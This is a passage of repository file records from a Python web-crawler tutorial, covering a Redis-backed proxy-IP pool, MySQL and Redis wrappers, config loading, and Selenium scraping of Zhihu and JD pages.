list(all_ne)\n\n\ndef score_rules(rule_ids) :\n '''\n Calculate score based on ratio of rule hits in the document.\n Caches extracted name entities as well.\n '''\n for doc in state2.corpus :\n # Match rule to each sentence\n for context in doc.context_list :\n tokens = context.tok_list\n for i in rule_ids :\n rule = state2.all_rules[i]\n hits = rule.match_rule(tokens, context.word_map)\n for hit in hits :\n rule.total_matches += 1\n ne_list = state2.recognizer.extract_names(tokens[hit[0]:hit[1]])\n ne_list = [n for n in ne_list if n not in state2.promoted_ne]\n if len(ne_list) == 0 :\n continue\n rule.extracted_ne = ne_list\n rule.matches_with_ne += 1\n\ndef promote_ne(ne_list, max_to_promote=10) :\n promoted_ids = []\n min_purity = float(state2.cfg.get(\"Promotion\", \"PurityMin\"))\n \n for i in ne_list :\n print state2.get_ne_object(i).get_score()\n ne_list = [ne for ne in ne_list\\\n if state2.get_ne_object(ne).get_score() > min_purity]\n\n ne_list = sorted(ne_list,\\\n key=lambda x:state2.get_ne_object(x).get_score(), reverse=True)\n for i in range(0, min(len(ne_list), max_to_promote)) :\n state2.promoted_ne.append(ne_list[i])\n promoted_ids.append(ne_list[i])\n return promoted_ids\n\n\ndef promote_rules(rule_ids, max_to_promote=10) :\n promoted_ids = []\n promotion_min = float(state2.cfg.get(\"Promotion\", \"PromotionThreshold\"))\n candidates = [i for i in rule_ids if \\\n state2.all_rules[i].promotion_score() > promotion_min]\n candidates = sorted(candidates, \\\n key=lambda x: state2.all_rules[i].promotion_score(), reverse=True)\n for i in range(0, min(len(candidates), max_to_promote)):\n state2.all_rules[candidates[i]].score_candidate_ne()\n state2.promoted_rules.append(candidates[i])\n promoted_ids.append(candidates[i])\n return promoted_ids\n\nrule_ids = mine_rules()\nscore_rules(rule_ids)\npromote_ids = promote_rules(rule_ids)\nprint promote_ids\nne_candidates = mine_ne()\nprint ne_candidates\npromoted_ne = promote_ne(ne_candidates)\nprint promoted_ne\n\n" }, { "alpha_fraction": 0.5524728298187256, "alphanum_fraction": 0.5633293390274048, "avg_line_length": 30.884614944458008, "blob_id": "99556ab8b82c0e1704591ba976ccb44f2bdf90c6", "content_id": "9666bc0ad1b075a88cb6589cc7589bdda196fe59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 829, "license_type": "no_license", "max_line_length": 83, "num_lines": 26, "path": "/main.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "def print_log(promote_set,dic) :\n for item in promote_set :\n print str(item) +\" purity:\" + str(dic[item].get_max_score())+ \" type :\" + \\\n str(dic[item].get_type())\n for type in dic[item].dictionary.keys() :\n print \"type:\"+str(type) +\" : \" +str(dic[item].dictionary[type])\n \nfrom controller import Controller\nNER = Controller()\n'''\n#Specify number of iterations\nfor i in range(9): \n print \"-------------------Iteration:\"+str(i)+\"-------------------\"\n\n NER.find_rules_tok()\n promote_set = NER.promote_rules(0.6, 9) #Args : threshold [0,1], max promotions\n print \"Rules:\"\n print_log(promote_set, NER.state.rules)\n\n NER.find_ne()\n promote_set = NER.promote_ne(0.6, 9)\n print \"NE:\"\n print_log(promote_set, NER.state.ne)\n\n NER.end_iteration()\n '''\n" }, { "alpha_fraction": 0.5552631616592407, "alphanum_fraction": 0.5559210777282715, "avg_line_length": 32.0217399597168, "blob_id": "686ba779c94d4d4076ad01a068a393e2592dff23", "content_id": "9666c75145bf184fd66e108a7b7d4b325384ee18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1520, "license_type": "no_license", "max_line_length": 66, "num_lines": 46, "path": "/controller.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "from state import State\n\nclass Controller :\n def __init__(self) :\n self.state = State()\n\n def find_rules_tok(self) :\n for doc in self.state.corpus :\n for ne in self.state.ne.keys() :\n candidates = doc.find_rules(ne)\n '''\n prune rules\n '''\n candidates.extend(rules)\n self.state.add_candidate_rules(ne, candidates)\n\n def find_ne_tok(self) :\n for doc in self.state.corpus :\n for rule in self.state.rules :\n candidates = doc.find_ne(rule)\n if len(candidates) == 0 :\n continue\n for ne in candidates : \n self.insert_candidate_ne(ne, rule)\n\n def promote_rules(self, threshold, max) :\n return self.state.promote_rules(threshold, max)\n\n def promote_ne(self, threshold, max) :\n return self.state.promote_ne(threshold, max)\n\n def find_ne(self):\n self.state.find_ne()\n\n def end_iteration(self) :\n self.state.candidate_rules = dict()\n self.state.candidate_ne = dict()\n\n def insert_candidate_ne(self, ne, rule) :\n candidate_dict = self.state.candidate_ne\n rule_dict = self.state.rules\n rule_type = rule_dict[rule].get_type()\n rule_score = rule_dict[rule].get_max_score()\n if ne not in candidate_dict.keys() :\n candidate_dict[ne] = Scorekeeper()\n candidate_dict[ne].positive_scoring(rule_type, rule_score)\n\n" } ]
12
The01337/sparkshine
https://github.com/The01337/sparkshine
10361b33c227c30768b39a456f1a8cb2dc7be88c
b26221822828afa94885a260fe613bb6323a9344
23bfc7517fc0ac3d3d4b7b772ab28835a57dd6fb
refs/heads/master
2020-03-17T10:53:06.240265
2018-05-24T11:59:51
2018-05-24T11:59:51
133,523,377
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5841885209083557, "alphanum_fraction": 0.5872291922569275, "avg_line_length": 27.91208839416504, "blob_id": "33b0bb836447291480d6fb3b97373d3771185934", "content_id": "4e335bb1fa36cffed42c86d4e60dedae62abdbd7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5262, "license_type": "no_license", "max_line_length": 114, "num_lines": 182, "path": "/porch.py", "repo_name": "The01337/sparkshine", "src_encoding": "UTF-8", "text": "import asyncio\nimport aiohttp\nimport datetime\nimport json\n\nimport requests\nimport logging\n\nimport light_control\n\n\"\"\"\n\nIf it's dark, nobody was home and someone is home now - light on\n\n\"\"\"\n\nlogging.basicConfig(\n filename='lights.log', level=logging.DEBUG,\n format='%(asctime)s %(levelname)s %(name)s %(message)s',\n datefmt='%Y-%m-%dT%H:%M:%S'\n)\n\nis_dark = False\nlast_home = None\n\nDAYLIGHT_API = 'http://api.sunrise-sunset.org/json'\n\nCHECK_INTERVAL = 5 # Anyone came home within <minutes>?\n\n\ndef read_settings():\n with open('./settings.json') as f:\n settings = json.load(f)\n return settings\n\n\ndef parse_date(date_string):\n \"\"\"\n Parse date string to timezone-naive datetime object.\n\n :param date_string: Date/time string in UTC\n :return: parsed datetime object\n \"\"\"\n\n # tokens = date_string.split(':')\n # tokens[-2] = ''.join(tokens[-2:])\n #\n # dt = datetime.datetime.strptime(\n # ':'.join(tokens[:-1]),\n # '%Y-%m-%dT%H:%M:%S%z'\n # )\n dt = datetime.datetime.strptime(date_string, '%Y-%m-%dT%H:%M:%S+00:00')\n return dt\n\n\ndef get_daylight(latitude, longitude, apiurl=DAYLIGHT_API):\n \"\"\"\n Retrieves today's daylight info from Web API\n :param apiurl: Web API URL\n :param latitude: Location coordinates\n :param longitude: Location coordinates\n :return: A tuple of datetimes for nautical twilight end (=no longer dark in the morning) and nautical twilight\n start (=start of darkness in the evening).\n \"\"\"\n data = requests.get(\n apiurl,\n params={\n 'lat': latitude,\n 'lng': longitude,\n 'formatted': 0\n }).json()\n start_dark = parse_date(data['results']['nautical_twilight_end'])\n end_dark = parse_date(data['results']['nautical_twilight_begin'])\n return start_dark, end_dark\n\n\ndef check_darkness(dt, latitude, longitude):\n \"\"\"\n Check if it's dark in the location at the specified time.\n :param dt: Time to check\n :param latitude: Location's latitude\n :param longitude: Location's longitude\n :return: True if it's dark, False otherwise\n \"\"\"\n start_dark, end_dark = get_daylight(latitude=latitude, longitude=longitude)\n\n if dt < end_dark or dt > start_dark:\n return True\n return False\n\n\ndef read_leases(filepath, macs=[]):\n entries = []\n with open(filepath) as leases:\n entry = {}\n for line in leases:\n if line.startswith('lease'):\n if entry:\n entries.append(entry)\n entry = {}\n entry['ip'] = line.split()[1]\n elif line == '}':\n if entry:\n entries.append(entry)\n entry = {}\n if not entry:\n continue\n line = line.strip()\n if line.startswith('cltt'):\n entry['ltt'] = datetime.datetime.strptime(\n 'T'.join(line.split()[2:]),\n '%Y/%m/%dT%H:%M:%S;')\n elif line.startswith('hardware ethernet'):\n entry['mac'] = line.split()[-1].rstrip(';')\n\n if entry:\n entries.append(entry)\n\n if macs:\n return [entry for entry in entries if entry['mac'] in macs]\n else:\n return entries\n\n\ndef anyone_home(dt, leases):\n \"\"\"\n Is anyone just came home at this time?\n :param dt: datetime object to check\n :param leases: leases\n :return: True if anyone came back less than 5 minutes ago, False otherwise\n \"\"\"\n interval = datetime.timedelta(minutes=CHECK_INTERVAL)\n for lease in leases:\n diff = dt-lease['ltt']\n if diff <= interval:\n return True\n return False\n\n\nasync def turnon_light(settings):\n api = await light_control.get_api(\n settings['gateway'], settings['identity'], settings['key']\n )\n\n lights = await light_control.get_lights(api)\n if lights:\n await light_control.control_light(lights[0], api, True)\n\n\nasync def main_loop(loop):\n is_home_occupied = False\n settings = read_settings()\n\n while True:\n logging.debug('Running check loop!')\n now = datetime.datetime.utcnow()\n leases = read_leases(\n filepath=settings['leases_file'], macs=settings['macs']\n )\n if not is_home_occupied and anyone_home(now, leases):\n # Nobody was home but came home within 5 minutes ago and it's dark\n logging.info('Someone just came home!')\n is_home_occupied = True\n if check_darkness(now, settings['latitude'], settings['longitude']):\n logging.debug('And it\\'s dark! Turn the light on!')\n await turnon_light(settings)\n elif is_home_occupied and not anyone_home(now, leases) and not check_darkness(\n now, settings['latitude'], settings['longitude']\n ):\n # Someone was home but nobody home now AND it's not dark\n logging.info('Assuming home is empty now')\n is_home_occupied = False\n else:\n logging.debug('Nothing happened. Sleeping...')\n await asyncio.sleep(5)\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n\n loop.run_until_complete(main_loop(loop))\n loop.close()\n" }, { "alpha_fraction": 0.7074773907661438, "alphanum_fraction": 0.7148726582527161, "avg_line_length": 26.044445037841797, "blob_id": "1d1220cfc97dcda2b5aed731db12d2120d0a1292", "content_id": "2af388450304f4daf054e3fcb0f1b21e5f61db4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1217, "license_type": "no_license", "max_line_length": 82, "num_lines": 45, "path": "/light_control.py", "repo_name": "The01337/sparkshine", "src_encoding": "UTF-8", "text": "from pytradfri import Gateway\nfrom pytradfri.api.aiocoap_api import APIFactory\nfrom pytradfri.error import PytradfriError\n\nimport asyncio\nfrom asyncio import ensure_future\n\n\[email protected]\ndef get_api(hostname, identity, psk):\n api_factory = APIFactory(host=hostname, psk_id=identity, psk=psk)\n\n return api_factory.request\n\n\[email protected]\ndef get_lights(api):\n gateway = Gateway()\n\n devices_commands = yield from api(gateway.get_devices())\n devices = yield from api(devices_commands)\n\n return [dev for dev in devices if dev.has_light_control]\n\n\[email protected]\ndef control_light(light, api, state_on=True):\n\n def observe_callback(updated_device):\n print(\"Received message for: %s\" % updated_device.light_control.lights[0])\n\n def observe_err_callback(err):\n print('observe error:', err)\n\n observe_command = light.observe(\n observe_callback, observe_err_callback, duration=120)\n # Start observation as a second task on the loop.\n ensure_future(api(observe_command))\n # Yield to allow observing to start.\n yield from asyncio.sleep(0)\n\n if state_on:\n light.light_control.set_dimmer(100)\n else:\n light.light_control.set_dimmer(0)\n" }, { "alpha_fraction": 0.5450783371925354, "alphanum_fraction": 0.6219332218170166, "avg_line_length": 42.371795654296875, "blob_id": "37ae6ba413910a42f66613e44cd3ede8b3e2d440", "content_id": "bd92ed662d51e0664371e475fa4440cdc8c4984f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3383, "license_type": "no_license", "max_line_length": 119, "num_lines": 78, "path": "/tests/test_porch.py", "repo_name": "The01337/sparkshine", "src_encoding": "UTF-8", "text": "import datetime\nimport unittest\nimport json\n\nimport porch\n\n\nclass PorchTest(unittest.TestCase):\n def test_getdaylight(self):\n with open('./settings.json') as f:\n settings = json.load(f)\n start, end = porch.get_daylight(latitude=settings['latitude'], longitude=settings['longitude'])\n self.assertIsNotNone(start)\n self.assertIsNotNone(end)\n\n def test_parsedate(self):\n self.assertIsNotNone(porch.parse_date('2018-05-15T01:31:14+00:00'))\n self.assertIsNotNone(porch.parse_date('1018-02-12T21:31:14+00:00'))\n self.assertIsNotNone(porch.parse_date('2018-05-15T23:31:14+00:00'))\n\n self.assertRaises(ValueError, porch.parse_date, '2018-05-35T01:31:14+00:00')\n self.assertRaises(ValueError, porch.parse_date, '2018-02-30T01:31:14+00:00')\n self.assertRaises(ValueError, porch.parse_date, '2018-05-15 T 01:31:14+00:00')\n self.assertRaises(ValueError, porch.parse_date, '2018-05-15T31:31:14+00:00')\n self.assertRaises(ValueError, porch.parse_date, '2018-05-15T01:71:14+00:00')\n self.assertRaises(ValueError, porch.parse_date, '2018-05-15T01:31:14+01:00')\n self.assertRaises(ValueError, porch.parse_date, '2018-05-15T01:31:14+things')\n\n def test_checkdarkness(self):\n # We are not considering to be in locations where arctic days/nights are happening\n with open('./settings.json') as f:\n settings = json.load(f)\n now = datetime.datetime.utcnow()\n self.assertEqual(\n porch.check_darkness(now.replace(hour=0), latitude=settings['latitude'], longitude=settings['longitude']),\n # Should be dark minutes AFTER midnight\n True\n )\n self.assertEqual(\n porch.check_darkness(now.replace(hour=13), latitude=settings['latitude'], longitude=settings['longitude']),\n # Should NOT be dark minutes after noon\n False\n )\n self.assertEqual(\n porch.check_darkness(now.replace(hour=23), latitude=settings['latitude'], longitude=settings['longitude']),\n # Should be dark minutes BEFORE midnight\n True\n )\n\n def test_readleases(self):\n with open('./settings.json') as f:\n settings = json.load(f)\n output = porch.read_leases('./dhcpd.leases.bak', settings['macs'])\n self.assertEqual(\n output, [\n {'mac': settings['macs'][0], 'ltt': datetime.datetime(2018, 5, 15, 5, 39, 42), 'ip': '192.168.0.10'},\n {'mac': settings['macs'][1], 'ltt': datetime.datetime(2018, 5, 15, 5, 40, 5), 'ip': '192.168.0.11'}\n ]\n\n )\n\n def test_anyonehome(self):\n with open('./settings.json') as f:\n settings = json.load(f)\n leases = porch.read_leases('./dhcpd.leases.bak', settings['macs'])\n dt = datetime.datetime(2018, 5, 15, 5, 43, 00)\n self.assertTrue(porch.anyone_home(dt, leases))\n dt = datetime.datetime(2018, 5, 15, 5, 45, 00)\n self.assertTrue(porch.anyone_home(dt, leases))\n dt = datetime.datetime(2018, 5, 15, 5, 50, 00)\n self.assertFalse(porch.anyone_home(dt, leases))\n dt = datetime.datetime.utcnow()\n self.assertFalse(porch.anyone_home(dt, leases))\n\n\nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(PorchTest)\n suite.run(None)\n" } ]
3
DataScienceCoding/Python-Web-Crawler
https://github.com/DataScienceCoding/Python-Web-Crawler
7e147395693420b1d01ed00c967afdbef72526e0
7348f20b09fc89263ac4a7109b3890c64b687265
45c85011785f9975018e3bc6e8cea96548f23c85
refs/heads/master
2023-01-30T10:13:21.917570
2020-12-16T02:21:17
2020-12-16T02:21:17
295,470,939
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.760869562625885, "alphanum_fraction": 0.760869562625885, "avg_line_length": 14.333333015441895, "blob_id": "76dc9b4732256250e9bb049fe0fde8b030b2dcf0", "content_id": "c86d4cf8dbdea2f2b37faae03047583083263aba", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 92, "license_type": "permissive", "max_line_length": 35, "num_lines": 6, "path": "/code/C10/pkg/exception.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "class QueueFullExceptin(Exception):\n pass\n\n\nclass InvalidIPExceptin(Exception):\n pass\n" }, { "alpha_fraction": 0.5333333611488342, "alphanum_fraction": 0.6761904954910278, "avg_line_length": 13.066666603088379, "blob_id": "3b8a6e1088b09afca588989cca8f8a33b0e4b128", "content_id": "08c9067450841067f3845d7c15ad8aa7db36a240", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 210, "license_type": "permissive", "max_line_length": 29, "num_lines": 15, "path": "/code/C10/conf.ini", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "[proxy-url]\nurl = http://118.24.52.95/get\n\n[mysql]\nhost = 127.0.0.1\nport = 3306\nusername = root\npassword = root\ndatabase = weixin\ncharset = utf8\n\n[redis]\nhost = 127.0.0.1\nport = 6379\npassword = 88888888" }, { "alpha_fraction": 0.46531790494918823, "alphanum_fraction": 0.46531790494918823, "avg_line_length": 29.086956024169922, "blob_id": "d7d73c59575f487f02fe38d7678d2ae995b628a6", "content_id": "751f0dac6fc587c1fb5bfe7b2c73eb70a7dff82d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 692, "license_type": "permissive", "max_line_length": 69, "num_lines": 23, "path": "/code/C10/pkg/mysql.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "import pymysql\nfrom conf.cfg import Conf\n\n\nclass MysqlCli():\n def __init__(self):\n conf = Conf()\n option = conf.section('mysql')\n try:\n self._db = pymysql.connect(host=option['host'],\n port=int(option['port']),\n user=option['username'],\n password=option['password'])\n self.cursor = self._db.cursor()\n except Exception as e:\n print(e.reason())\n\n # def execute(self, sql, *arg):\n # return self._db.execute(sql, arg)\n\n def __del__(self):\n print('Mysql will be closed.')\n self._db.close()\n" }, { "alpha_fraction": 0.6443037986755371, "alphanum_fraction": 0.6483544111251831, "avg_line_length": 36.980770111083984, "blob_id": "6357458c907be1179131e9febc5724103354c92b", "content_id": "a51a6a80250ba18f82b3dff96cdb244c0873f437", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4132, "license_type": "permissive", "max_line_length": 120, "num_lines": 104, "path": "/code/C7.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "import time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as ec\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.chrome.options import Options\n\n\ndef browserwraper(*args):\n opts = Options()\n # opts.add_argument('--headless')\n opts.add_argument('--disable-gpu')\n for arg in args:\n opts.add_argument(arg)\n return webdriver.Chrome(executable_path=r'D:\\ENV\\chromedriver.exe', options=opts)\n\n\nbrowser = browserwraper()\n\ntry:\n browser.get('https://www.zhihu.com/explore')\n wait = WebDriverWait(browser, 35)\n classname = 'ExploreHomePage-roundtables'\n wait.until(ec.presence_of_element_located((By.CLASS_NAME, classname)))\n search = browser.find_element_by_css_selector('input[aria-activedescendant=\"AutoComplete2--1\"]')\n print(search.get_attribute('placeholder'))\n content = browser.find_element_by_class_name(classname)\n roundtable = browser.find_elements_by_class_name('ExploreHomePage-roundtableCard')\n for i in roundtable:\n # print(i.text, '\\n')\n print('主题: {}, 嘉宾人数: {}, 关注人数: {}'.format(\n i.find_element_by_class_name('ExploreRoundtableCard-title').text,\n i.find_element_by_css_selector('.ExploreRoundtableCard-guests span').text,\n i.find_element_by_css_selector('.ExploreRoundtableCard-count span').text\n ))\n\n # print('金额: ', i.find_element_by_xpath('//div[@class=\"q-type\"]/div[contains(@class,\"q-price\")]/strong').text)\n # print('规则: ', i.find_element_by_xpath('//div[@class=\"q-type\"]/div[contains(@class,\"q-price\")]/span').text)\n # print(coupon.text)\nfinally:\n browser.close()\n\n# try:\n# browser.get('https://www.jd.com/')\n# wait = WebDriverWait(browser, 35)\n# path = '//a[@aria-lable=\"优惠券\"]'\n# wait.until(ec.presence_of_element_located((By.XPATH, path)))\n# coupon = browser.find_element_by_xpath(path)\n# # 进入优惠券页面\n# coupon.click()\n# time.sleep(3)\n# browser.switch_to.window(browser.window_handles[1])\n\n# # 滚动到底部\n# # js = '''\n# # window.scrollTo(0, document.body.scrollHeight)\n# # '''\n# # browser.execute_script(js)\n# SCROLL_PAUSE_TIME = 0.5\n\n# # Get scroll height\n# last_height = browser.execute_script(\"return document.body.scrollHeight\")\n# while True:\n# # Scroll down to bottom\n# browser.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n\n# # Wait to load page\n# time.sleep(SCROLL_PAUSE_TIME)\n\n# # Calculate new scroll height and compare with last scroll height\n# new_height = browser.execute_script(\"return document.body.scrollHeight\")\n# if new_height == last_height:\n# break\n# last_height = new_height\n# # wait.until(ec.presence_of_all_elements_located((By.CLASS_NAME, 'quan-item')))\n# quans = browser.find_elements_by_class_name('quan-item')\n# for i in quans:\n# print(i.text, '\\n')\n# # print('金额: ', i.find_element_by_xpath('//div[@class=\"q-type\"]/div[contains(@class,\"q-price\")]/strong').text)\n# # print('规则: ', i.find_element_by_xpath('//div[@class=\"q-type\"]/div[contains(@class,\"q-price\")]/span').text)\n# # print(coupon.text)\n# finally:\n# browser.close()\n\n# browser = headlessbrowser()\n# try:\n# # 访问页面\n# browser.get('https://www.baidu.com')\n# # 查找页面中id为'kw'的输入框\n# input = browser.find_element_by_id('kw')\n# # 在输入框中输入Python关键字\n# input.send_keys('Python')\n# # 触发回车键\n# input.send_keys(Keys.ENTER)\n# # 等待浏览器执行10秒\n# wait = WebDriverWait(browser, 10)\n# # 不断检查页面id为content_left的DOM元素是否存在直到其渲染完成\n# wait.until(ec.presence_of_element_located((By.ID, 'content_left')))\n# print(browser.current_url)\n# print(browser.get_cookies())\n# print(browser.page_source)\n# finally:\n# browser.close()\n" }, { "alpha_fraction": 0.636663019657135, "alphanum_fraction": 0.6410537958145142, "avg_line_length": 30.413793563842773, "blob_id": "aa235f6fd92b954ca6491967f8a1485d0e4e2705", "content_id": "9660f8b7d31c0618ec205935def7f18b1ed839bd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 931, "license_type": "permissive", "max_line_length": 85, "num_lines": 29, "path": "/code/C10/pkg/util.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "import requests\nfrom requests import RequestException\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\n\n\ndef httpget(url, encoding='utf-8', headers=None, proxies=None):\n try:\n response = requests.get(url, headers=headers, proxies=proxies)\n if response.status_code == 200:\n response.encoding = encoding\n return {\n 'body': response.text,\n 'elapsed': response.elapsed.total_seconds()\n }\n print('响应失败状态: ', response.status_code)\n return None\n except RequestException as e:\n print('请求失败', e)\n return None\n\n\ndef browserwraper(*args):\n opts = Options()\n # opts.add_argument('--headless')\n opts.add_argument('--disable-gpu')\n for arg in args:\n opts.add_argument(arg)\n return webdriver.Chrome(executable_path=r'D:\\ENV\\chromedriver.exe', options=opts)\n" }, { "alpha_fraction": 0.5758426785469055, "alphanum_fraction": 0.5758426785469055, "avg_line_length": 21.25, "blob_id": "a8eb250ede3cb9a5bc79cc0ba0b18b5f5fffa38a", "content_id": "605d8fcc05c759e462cc03ba6bed21b03fa74d9a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 366, "license_type": "permissive", "max_line_length": 99, "num_lines": 16, "path": "/code/C10/conf/cfg.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "import configparser\nimport os\n\n\nclass Conf():\n \"\"\"\n 创建配置类\n \"\"\"\n def __init__(self):\n path = os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir, 'conf.ini'))\n cfg = configparser.ConfigParser()\n cfg.read(path)\n self._conf = cfg\n\n def section(self, opt):\n return self._conf._sections[opt]\n" }, { "alpha_fraction": 0.5909090638160706, "alphanum_fraction": 0.7272727489471436, "avg_line_length": 6.333333492279053, "blob_id": "971f771722ce6b9cedbc72510f8b1bb60901673b", "content_id": "ae7a1258a69b7b67d294ade2261a2a98168aa738", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Go Module", "length_bytes": 22, "license_type": "permissive", "max_line_length": 12, "num_lines": 3, "path": "/code/go.mod", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "module proxy\n\ngo 1.14\n" }, { "alpha_fraction": 0.6171470880508423, "alphanum_fraction": 0.6245380640029907, "avg_line_length": 22.327587127685547, "blob_id": "12fccd80f556c4db912af7e73cade0665ba8e0fa", "content_id": "9cf501a40bc94293fecfd4a476801e435b0a9735", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1403, "license_type": "permissive", "max_line_length": 62, "num_lines": 58, "path": "/code/C10/run_pool.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "from pkg.util import httpget\nfrom conf.cfg import Conf\nimport json\nimport time\nfrom pkg.exception import InvalidIPExceptin, QueueFullExceptin\nfrom pkg.ip_proxy import ProxyPool\nfrom telnetlib import Telnet\n\n# from pkg.mysql import MysqlCli\nfrom pkg.redis import RedisCli\n\n# print(redis.get(key))\n\n# db = MysqlCli()\n# db.cursor.execute('USE spiders')\n# db.cursor.execute('select count(*) from station')\n# row = db.cursor.fetchone()\n# print(row)\n\n\ndef testproxyip(addr: str):\n ip, port = addr.split(\":\", 1)\n try:\n with Telnet(ip, port, timeout=20):\n pass\n except Exception:\n raise InvalidIPExceptin()\n\n\ndef fillproxyqueue(conf: Conf, pool: ProxyPool):\n global proxy\n while True:\n try:\n proxy = getproxy(conf)\n if proxy:\n testproxyip(proxy)\n pool.add(proxy, 0) # 无异常则放到队列中\n except QueueFullExceptin:\n print('队列已满 ')\n time.sleep(2 * 60 * 60) # 队列满了就休息两小时\n except InvalidIPExceptin:\n print('无效IP: ', proxy)\n finally:\n time.sleep(5)\n\n\ndef getproxy(conf: Conf):\n url = conf.section('proxy-url')['url']\n rep = httpget(url)\n if rep:\n return json.loads(rep['body'])['proxy']\n return None\n\n\nconf = Conf()\nredis = RedisCli(conf)\npool = ProxyPool(redis)\nfillproxyqueue(conf, pool)\n" }, { "alpha_fraction": 0.5623441338539124, "alphanum_fraction": 0.5660848021507263, "avg_line_length": 24.838708877563477, "blob_id": "33ee0488c2aea5acb91f1ab3de42dc26b0eee9b2", "content_id": "8157957317618f8af97234691ee4d4797d3e8587", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 812, "license_type": "permissive", "max_line_length": 133, "num_lines": 31, "path": "/code/C10/pkg/redis.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "\nimport redis\nimport sys\nfrom conf.cfg import Conf\n\n\nclass RedisCli():\n def __init__(self, conf: Conf):\n \"\"\"\n RedisCli初始化操作\n \"\"\"\n option = conf.section('redis')\n try:\n pool = redis.ConnectionPool(host=option['host'], port=option['port'], password=option['password'], decode_responses=True)\n self._redis = redis.Redis(connection_pool=pool)\n except Exception as e:\n print(e.reasion)\n sys.exit(1)\n\n def db(self):\n return self._redis\n\n def set(self, key, val, timeout=0):\n self._redis.set(key, val)\n if timeout != 0:\n self._redis.expire(key, timeout)\n\n def get(self, key):\n return self._redis.get(key)\n\n def exists(self, key):\n return self._redis.exists(key)\n" }, { "alpha_fraction": 0.6566666960716248, "alphanum_fraction": 0.6600000262260437, "avg_line_length": 20.5, "blob_id": "ebccf654b717ba926e5071251069d653b7bc1112", "content_id": "db345fb6a1bd335131a5698a60862fa1771ad1f8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 510, "license_type": "permissive", "max_line_length": 87, "num_lines": 14, "path": "/code/C10/readme.md", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "## 实现代理池功能类\n\n```python\nclass ProxyPool():\n def __init__(): # 指定代理池容量并使用Redis作为队列池进行初始化\n pass\n\n def add(ip, score): # 添加一个代理ip(添加过程中先判断队列是否已满,即容量是否达到上限;同时使用telnetlib包测试该代理ip是否可用)\n pass\n\n def decrease(): # 进行score减1操作(当score值大于某个给定阈值则将其删除)\n\n def random(): # 随机获取一个代理ip\n```" }, { "alpha_fraction": 0.5624186992645264, "alphanum_fraction": 0.5689206719398499, "avg_line_length": 28, "blob_id": "e6ab2d7e5ce678480f090dbab766574f073f1e01", "content_id": "30a16a7d6b51f3022818866418498efa4fea5dae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1654, "license_type": "permissive", "max_line_length": 90, "num_lines": 53, "path": "/code/C10/pkg/ip_proxy.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "\nfrom pkg.exception import QueueFullExceptin\nfrom pkg.redis import RedisCli\nfrom random import choice\n\nPROXY_KEY = 'IP_PROXY'\nVALID_MAX_SCORE = 20\nVALID_MIN_SCORE = 0\nPOOL_CAP = 1000\n\n\nclass ProxyPool():\n def __init__(self, cli: RedisCli):\n self._cli = cli\n\n def add(self, ip, score):\n if self._cli.db().zcard(PROXY_KEY) == POOL_CAP:\n raise QueueFullExceptin()\n if not self._cli.exists(ip):\n self._cli.db().zadd(PROXY_KEY, {ip: score})\n\n def updatescore(self, ip, score):\n self._cli.db().zadd(PROXY_KEY, {ip: score})\n\n def random(self):\n result = self._cli.db().zrangebyscore(PROXY_KEY, VALID_MIN_SCORE, VALID_MAX_SCORE)\n if len(result):\n return choice(result)\n else:\n return None\n\n def decrease(self, proxy):\n \"\"\"\n 代理值减一分(即响应系数减1),大于最大响应值则删除\n :param proxy: 代理\n \"\"\"\n score = self._cli.db().zscore(PROXY_KEY, proxy)\n if score and score < VALID_MAX_SCORE:\n print('代理', proxy, '当前响应系数', 